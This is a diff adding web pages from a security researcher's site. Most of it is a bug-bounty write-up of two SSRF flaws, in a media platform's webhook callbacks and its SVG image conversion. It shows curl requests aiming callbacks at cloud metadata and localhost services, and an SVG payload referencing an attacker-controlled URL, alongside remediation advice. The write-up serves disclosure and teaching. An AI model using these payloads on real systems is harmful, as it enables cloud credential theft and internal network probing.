| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/ssrf-via-image-pipeline/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="How I Found Two SSRF Vulnerabilities in a Major Cloud Platform&#x27;s Image Pipeline | Zion Boggan"> | |
| + | <meta property="og:description" content="Two SSRFs in the same platform via different code paths (webhook callbacks + image processor). The systemic pattern matters more than either finding."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/ssrf-via-image-pipeline/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/images/ssrf-textrender-proof.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="How I Found Two SSRF Vulnerabilities in a Major Cloud Platform&#x27;s Image Pipeline | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Two SSRFs in the same platform via different code paths (webhook callbacks + image processor). The systemic pattern matters more than either finding."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/images/ssrf-textrender-proof.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"How I Found Two SSRF Vulnerabilities in a Major Cloud Platform&#x27;s Image Pipeline","description":"Two SSRFs in the same platform via different code paths (webhook callbacks + image processor). The systemic pattern matters more than either finding.","url":"https://zionboggan.com/security-research-notebook/ssrf-via-image-pipeline/","image":"https://zionboggan.com/images/ssrf-textrender-proof.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">SSRF</div> | |
| + | <h1>How I Found Two SSRF Vulnerabilities in a Major Cloud Platform's Image Pipeline</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <blockquote> | |
| + | <p>Author: HackerOne <code>artemispwns1</code> / Bugcrowd Researcher<br /> | |
| + | Disclosure: under the program’s responsible disclosure policy; vendor and | |
| + | specific technical details intentionally omitted per policy.</p> | |
| + | </blockquote> | |
| + | <h2>Introduction</h2> | |
| + | <p>I have been doing independent security research for a few months now, working | |
| + | through bug bounty programs on HackerOne and Bugcrowd. What started as | |
| + | curiosity about how web applications handle trust boundaries has turned into | |
| + | a genuine discipline, and the findings keep getting more interesting as I | |
| + | learn to think at the architectural level rather than just scanning for | |
| + | low-hanging fruit.</p> | |
| + | <p>Recently I completed an audit of a major cloud-based media processing | |
| + | platform through their bug bounty program. The engagement produced two | |
| + | distinct Server-Side Request Forgery (SSRF) vulnerabilities in separate | |
| + | code paths, both stemming from the same root cause: inconsistent URL | |
| + | validation across different parts of the application. I cannot name the | |
| + | vendor or disclose specific technical details per the program’s disclosure | |
| + | policy, but I can share the methodology, the thought process, and what I | |
| + | learned about how these kinds of gaps form in production systems.</p> | |
| + | <p>This writeup is for anyone getting into bug bounty research or application | |
| + | security who wants to understand how to move beyond surface-level recon and | |
| + | start thinking about systemic vulnerabilities.</p> | |
| + | <h2>Background: What is SSRF and Why Does It Matter?</h2> | |
| + | <p>Server-Side Request Forgery is a vulnerability class where an attacker can | |
| + | make a server issue HTTP requests on their behalf to destinations the | |
| + | attacker should not be able to reach. The classic example is tricking a | |
| + | server into calling the AWS metadata endpoint at <code>169.254.169.254</code>, which | |
| + | can return temporary IAM credentials and expose the entire cloud environment.</p> | |
| + | <p>SSRF has been climbing the OWASP Top 10 and sits in every serious attacker’s | |
| + | playbook because cloud infrastructure made internal network access | |
| + | exponentially more valuable. A single SSRF in the right place can pivot | |
| + | from “I can make a server fetch a URL” to “I now have AWS keys to the | |
| + | production S3 buckets.” The impact scales with the trust the server has on | |
| + | the internal network.</p> | |
| + | <h2>The Methodology: Thinking in Code Paths</h2> | |
| + | <p>When I started this audit, my first instinct was to test the obvious entry | |
| + | points. The platform had a URL-based fetch feature where you supply an | |
| + | external URL and the server retrieves the resource. Standard stuff. I tested | |
| + | internal IPs against this endpoint and got exactly what I expected: a clean | |
| + | 403 Forbidden. They had SSRF protections in place.</p> | |
| + | <p>A less experienced version of me would have stopped there. Good filter, | |
| + | move on.</p> | |
| + | <p>But I had been reading about how large platforms evolve over time. Features | |
| + | get built by different teams, at different times, with different security | |
| + | assumptions. The upload API team probably thought carefully about SSRF. The | |
| + | question is whether every other team that added URL-accepting functionality | |
| + | did the same.</p> | |
| + | <p>So I mapped every parameter and feature in the platform that could potentially | |
| + | cause the server to make an outbound HTTP request. Not just the obvious ones | |
| + | like “fetch this URL” but also webhook callbacks, notification endpoints, | |
| + | asynchronous processing triggers, and file format features that might resolve | |
| + | external references during server-side rendering.</p> | |
| + | <p>This is where the shift from scanning to auditing happens. You stop testing | |
| + | individual inputs and start testing trust boundaries across the entire | |
| + | application surface.</p> | |
| + | <h2>Finding 1: Blind SSRF via Webhook Callbacks</h2> | |
| + | <p>The platform had a notification system where you could specify a callback URL | |
| + | that receives a POST request after certain operations complete. Think of it | |
| + | like a webhook: “when the job is done, POST the results to this URL.”</p> | |
| + | <p>The interesting thing was that the main upload parameter had solid SSRF | |
| + | filtering. Internal IPs were blocked, RFC1918 ranges were rejected, the | |
| + | metadata endpoint was explicitly denied. But the notification URL parameter, | |
| + | which also causes the server to make an outbound HTTP request, had zero | |
| + | filtering.</p> | |
| + | <p>Same server. Same outbound HTTP client (presumably). Completely different | |
| + | security posture depending on which parameter you used.</p> | |
| + | <p>Here is a generic representation of what that comparison looked like:</p> | |
| + | <pre><code class="language-bash"># The upload/fetch parameter correctly blocks internal IPs: | |
| + | curl -X POST "https://api.example.com/v1/upload" \ | |
| + | -d "file=http://169.254.169.254/latest/meta-data/" \ | |
| + | -d "api_key=${API_KEY}" \ | |
| + | -d "timestamp=${TIMESTAMP}" \ | |
| + | -d "signature=${SIGNATURE}" | |
| + | # Response: 403 Forbidden - blocked by SSRF filter | |
| + | ||
| + | # The notification/callback parameter accepts the EXACT same internal address: | |
| + | curl -X POST "https://api.example.com/v1/upload" \ | |
| + | -d "file=https://normal-image.png" \ | |
| + | -d "callback_url=http://169.254.169.254/latest/meta-data/" \ | |
| + | -d "api_key=${API_KEY}" \ | |
| + | -d "timestamp=${TIMESTAMP}" \ | |
| + | -d "signature=${SIGNATURE}" | |
| + | # Response: 200 OK - upload succeeds, server POSTs to metadata endpoint | |
| + | </code></pre> | |
| + | <p>That contrast is the entire finding in two commands. Same API, same server, | |
| + | same internal target, two completely different outcomes depending on which | |
| + | parameter carries the URL.</p> | |
| + | <p>I tested this across the full range of internal targets to confirm it was | |
| + | not limited to a single address:</p> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Target</th> | |
| + | <th>Description</th> | |
| + | <th>Result</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td><code>http://169.254.169.254/latest/meta-data/</code></td> | |
| + | <td>AWS metadata</td> | |
| + | <td>Accepted</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>http://169.254.170.2/v2/credentials</code></td> | |
| + | <td>ECS credentials</td> | |
| + | <td>Accepted</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>http://127.0.0.1:6379/</code></td> | |
| + | <td>Localhost Redis</td> | |
| + | <td>Accepted</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>http://127.0.0.1:9200/</code></td> | |
| + | <td>Localhost Elastic</td> | |
| + | <td>Accepted</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>http://REDACTED-IP:80/</code></td> | |
| + | <td>RFC1918 Class A</td> | |
| + | <td>Accepted</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td><code>http://172.16.0.1:80/</code></td> | |
| + | <td>RFC1918 Class B</td> | |
| + | <td>Accepted</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>Every single internal address that the upload parameter correctly blocked | |
| + | was silently accepted through the notification parameter.</p> | |
| + | <p>The severity escalation came from discovering that this gap existed not just | |
| + | in authenticated API calls but also in a feature that allowed preconfigured | |
| + | notification URLs to be triggered without authentication. This meant that | |
| + | once the configuration was set, anyone who knew the right identifiers could | |
| + | trigger the SSRF repeatedly with no API key, no signature, and no rate | |
| + | limiting.</p> | |
| + | <p>The impact profile: blind SSRF to AWS metadata endpoints, localhost services | |
| + | on arbitrary ports, and RFC1918 internal networks. The POST body contained | |
| + | JSON with several attacker-controllable fields, meaning internal services | |
| + | that parse incoming webhooks could receive partially crafted payloads.</p> | |
| + | <p>I rated this as High severity. The platform’s existing SSRF protections on | |
| + | the upload parameter proved they understood the risk. The gap in the | |
| + | notification parameter was a systemic oversight, not a design choice.</p> | |
| + | <h2>Finding 2: SSRF via Image Format Processing</h2> | |
| + | <p>The second finding came from a completely different angle. The platform | |
| + | supports server-side image transformation, converting between formats, | |
| + | resizing, applying effects. One of the supported input formats allows | |
| + | embedded references to external URLs as part of the file specification.</p> | |
| + | <p>When the server processes this file format and performs a transformation | |
| + | (for example, converting it to PNG), the underlying image processing | |
| + | library resolves those external references by making its own HTTP requests. | |
| + | These requests happen inside the rendering engine, completely outside the | |
| + | URL validation layer that protects the upload and fetch endpoints.</p> | |
| + | <p>The crafted input file looked something like this (generalized):</p> | |
| + | <pre><code class="language-xml"><?xml version="1.0" encoding="UTF-8"?> | |
| + | <svg xmlns="http://www.w3.org/2000/svg" | |
| + | xmlns:xlink="http://www.w3.org/1999/xlink" | |
| + | width="500" height="500"> | |
| + | <image xlink:href="https://attacker-controlled-url.com/test" | |
| + | width="500" height="500"/> | |
| + | </svg> | |
| + | </code></pre> | |
| + | <p>When the server converts this to a raster format, the image processing | |
| + | library follows that external reference and fetches whatever URL is specified. | |
| + | The fetched content gets rendered into the output image as pixel data.</p> | |
| + | <p>I tested several targets to map the behavior:</p> | |
| + | <table> | |
| + | <thead> | |
| + | <tr> | |
| + | <th>Target</th> | |
| + | <th>Result</th> | |
| + | </tr> | |
| + | </thead> | |
| + | <tbody> | |
| + | <tr> | |
| + | <td>External URL returning an image</td> | |
| + | <td>Full content rendered into output (101KB PNG)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>External URL returning text / JSON</td> | |
| + | <td>Broken image icon rendered (139KB PNG)</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>AWS metadata endpoint (internal)</td> | |
| + | <td>Blank output, 12+ second response time</td> | |
| + | </tr> | |
| + | <tr> | |
| + | <td>Baseline with no external ref</td> | |
| + | <td>Blank output, ~300 bytes, sub-second</td> | |
| + | </tr> | |
| + | </tbody> | |
| + | </table> | |
| + | <p>Two illustrative outputs from the engagement (vendor identifiers cropped / | |
| + | omitted; the platform’s image processor faithfully renders fetched content | |
| + | into its output pixel data):</p> | |
| + | <p>External URL returning text: | |
| + | <img alt="SSRF text render proof" src="images/ssrf-textrender-proof.png" /></p> | |
| + | <p>External URL returning an image: | |
| + | <img alt="SSRF external image fetch proof" src="images/ssrf-external-fetch-proof.png" /></p> | |
| + | <p>The timing differential was the key evidence for internal network access. | |
| + | Normal transformations completed in under one second. Transformations | |
| + | referencing the metadata endpoint consistently took 12+ seconds before | |
| + | returning, indicating the server attempted the connection and waited for a | |
| + | response that never came.</p> | |
| + | <p>I confirmed this by uploading a specially crafted file with an external URL | |
| + | reference, then triggering a format conversion through the delivery API. | |
| + | The output image contained rendered content from the external URL, proving | |
| + | the server had fetched it. When I tested with the AWS metadata endpoint, | |
| + | the transformation took 12+ seconds (versus less than one second for normal | |
| + | transforms), confirming the connection attempt through timing analysis.</p> | |
| + | <p>The key insight: this SSRF vector exists in a completely different code path | |
| + | from the first finding. The upload filter, the fetch filter, and the | |
| + | notification filter are all irrelevant here because the image processing | |
| + | library makes its own HTTP requests that none of those filters touch.</p> | |
| + | <p>The impact was more constrained than the first finding. Responses are | |
| + | rendered as pixel data rather than returned as raw text, so text-based | |
| + | secrets (like AWS credentials in JSON format) are not directly readable. | |
| + | But image-format responses from internal services (monitoring dashboards, | |
| + | status pages, cached graphics) would be fully exfiltrated. And the timing | |
| + | differential still enables internal network mapping and port scanning.</p> | |
| + | <p>I rated this as Medium severity. Confirmed external URL resolution with | |
| + | content rendered into output, confirmed internal IP connection attempts via | |
| + | timing analysis, but limited by the pixel-rendering constraint on data | |
| + | extraction.</p> | |
| + | <p>For anyone defending against this class of vulnerability, the fix for the | |
| + | image processing path is well-documented and straightforward. Most image | |
| + | processing libraries support policy configuration that disables external | |
| + | URL resolution entirely:</p> | |
| + | <pre><code class="language-xml"><!-- Restrict the image processing library from resolving external URLs --> | |
| + | <policy domain="coder" rights="none" pattern="URL" /> | |
| + | <policy domain="coder" rights="none" pattern="HTTPS" /> | |
| + | <policy domain="coder" rights="none" pattern="HTTP" /> | |
| + | </code></pre> | |
| + | <p>For the webhook/callback path, the remediation is to apply the same IP/URL | |
| + | validation that already exists on the upload path to every other parameter | |
| + | that triggers outbound requests. Block RFC1918, loopback, link-local, and | |
| + | validate resolved DNS before making callbacks to prevent DNS rebinding.</p> | |
| + | <p>These are not novel recommendations. The fact that they need to be applied | |
| + | separately to each code path is exactly why these gaps exist in the first | |
| + | place.</p> | |
| + | <h2>The Systemic Pattern</h2> | |
| + | <p>What makes these two findings interesting together is the pattern they | |
| + | reveal. The platform had invested in SSRF protections, and those protections | |
| + | worked correctly where they were applied. The problem was coverage.</p> | |
| + | <p>There were at least four separate code paths that cause the server to make | |
| + | outbound HTTP requests:</p> | |
| + | <ol> | |
| + | <li>The file upload/fetch path (protected)</li> | |
| + | <li>The notification/webhook callback path (unprotected)</li> | |
| + | <li>The image processing/rendering path (unprotected)</li> | |
| + | <li>Other async processing paths (untested but likely similar)</li> | |
| + | </ol> | |
| + | <p>Each of these was probably built by a different team or at a different time. | |
| + | The team that built the upload path thought about SSRF and implemented | |
| + | filtering. The teams that built the notification system and the image | |
| + | processing pipeline either did not think about SSRF or assumed it was | |
| + | handled elsewhere.</p> | |
| + | <p>This is the pattern I see most often in mature platforms. The vulnerability | |
| + | is not that they do not know about SSRF. It is that their SSRF defenses are | |
| + | applied per-feature rather than per-network-boundary. Every outbound HTTP | |
| + | request from the server should pass through the same validation layer, | |
| + | regardless of which feature triggered it.</p> | |
| + | <h2>What I Learned</h2> | |
| + | <p><strong>Map the full request surface, not just the obvious inputs.</strong> The most | |
| + | interesting SSRF vectors are rarely in the parameter named “url.” They are | |
| + | in webhook callbacks, file format parsers, async job configurations, and | |
| + | anywhere else the server might make an outbound request as a side effect.</p> | |
| + | <p><strong>Timing analysis is underrated.</strong> When you cannot see the response body | |
| + | (blind SSRF), response timing becomes your primary signal. A 12-second | |
| + | timeout versus a sub-second response tells you everything you need to know | |
| + | about whether a connection attempt was made.</p> | |
| + | <p><strong>Compare security controls across features.</strong> If one parameter blocks | |
| + | internal IPs and another parameter in the same API does not, that is not | |
| + | just a bug. It is evidence of a systemic gap in how security controls are | |
| + | applied. Document the comparison explicitly in your report because it makes | |
| + | the remediation path obvious.</p> | |
| + | <p><strong>Think about chaining, not just individual findings.</strong> A blind SSRF by | |
| + | itself might be Medium. A blind SSRF with attacker-controlled POST body | |
| + | fields targeting internal services with no authentication is High. Context | |
| + | matters more than the individual primitive.</p> | |
| + | <p><strong>Write clean reports.</strong> I spent almost as much time on the reports as I did | |
| + | on the research. Clear reproduction steps, evidence tables, severity | |
| + | justification, and specific remediation recommendations. Triagers are busy. | |
| + | Make their job easy and your findings get taken seriously.</p> | |
| + | <h2>Growth Trajectory</h2> | |
| + | <p>Six months ago I was running automated scanners and hoping something | |
| + | interesting would fall out. Today I am reading RFC specifications, studying | |
| + | image processing library internals, and mapping application architecture | |
| + | before I test a single input.</p> | |
| + | <p>The shift from tool-driven recon to methodology-driven auditing is where the | |
| + | real growth happens in bug bounty. Tools find the easy stuff. Understanding | |
| + | how systems are built, where trust boundaries break down, and how security | |
| + | controls fail to scale across features is what finds the stuff that matters.</p> | |
| + | <p>I am still early in this journey. But findings like these, where I can | |
| + | identify a systemic pattern across multiple code paths in a production | |
| + | platform used by thousands of companies, tell me I am heading in the right | |
| + | direction.</p> | |
| + | <p>If you are getting into bug bounty or offensive security research, my advice | |
| + | is simple: stop looking for bugs and start understanding systems. The bugs | |
| + | will find you.</p> | |
| + | <hr /> | |
| + | <p><em>All research was conducted through authorized bug bounty programs with | |
| + | responsible disclosure. No customer data was accessed or exfiltrated. Test | |
| + | artifacts were cleaned up after submission.</em></p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · writeups/ssrf-via-image-pipeline.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,541 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Live audit log, started 2026-04-17 00:10 UTC | Zion Boggan</title> | |
| + | <meta name="description" content="Top-to-bottom audit log of systemd-coredumpd and systemd-resolved DNS parser. No findings; the writeup is the methodology and the dead ends."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
